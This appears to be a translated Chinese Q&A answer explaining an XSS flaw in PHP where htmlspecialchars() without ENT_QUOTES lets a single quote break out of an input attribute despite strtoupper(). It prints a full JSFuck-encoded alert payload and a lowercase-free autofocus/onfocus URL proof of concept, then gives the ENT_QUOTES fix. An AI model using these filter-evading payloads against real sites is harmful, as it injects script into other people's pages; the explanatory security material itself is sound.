您的参数$ID
打印在 HTML 标记属性值内。不幸的是,它应该通过htmlspecialchars()
它来编码 HTML 有效字符。由于该函数没有ENT_QUOTES
设置标志,它将转义<
, >
, &
, "
,但不会转义'
(单引号)。幸运的是,值是用这样的单引号括起来的,所以你可以用它'
来突破属性。
接下来,您想要关闭标签并开始一个新标签(例如<script>
),但htmlspecialchars()
不允许您这样做(因为它会转义>
和<
)。因此,您必须使用适用于<input>
标签的事件处理程序。该onload
事件处理程序并不适用于输入框,但你可以使用别人,例如onmouseover
。(副作用是您将需要最少的用户交互来触发 XSS,或者需要利用其他属性,例如autofocus
在页面加载时立即触发它。)
所以我们有这个:
<input type='text' value=' ' onmouseover='(javascript payload) '>
|------------- $ID --------------|
现在,您不能只使用普通的 JSalert(1)
作为有效负载,因为该值也会运行,这会将无效strtoupper()
的函数名称大写。ALERT(1)
相反,您需要找到只使用大写字母的 JS 代码,甚至更好,完全不使用任何字母。为此,您可以使用JSFuck 之类的工具将任何 JS 代码转换为不带任何字母的等效表示。
例如,alert(1)
变为:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
所以,这将是一个有效的 XSS PoC:
' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
如果使用 JSFuck 对您来说是不切实际的(例如,由于@chefarov 所说的 URL 长度限制),还有其他技术可以在没有小写字母的情况下使用。例如,属性值可以完全作为 HTML 实体放置,以便将a
ofalert
写成a
等等。(在您的特定情况下,您不能使用它,因为htmlspecialchars()
也会逃避任何&
.)
然而,这是一个避免小写字母的较短有效负载的 PoC:
xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'(`%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529`))')()//
(我基本上是在Function(eval(decodeURI(...)))
没有小写字母的情况下进行组装,然后可以将实际的有效载荷 URL 编码(例如a
=> %61
)提供给它,它从不需要小写字母。)
修复
ENT_QUOTES
您应该通过添加标志来编码双引号和单引号:
$NEWID = strtoupper(htmlspecialchars($ID, ENT_QUOTES ));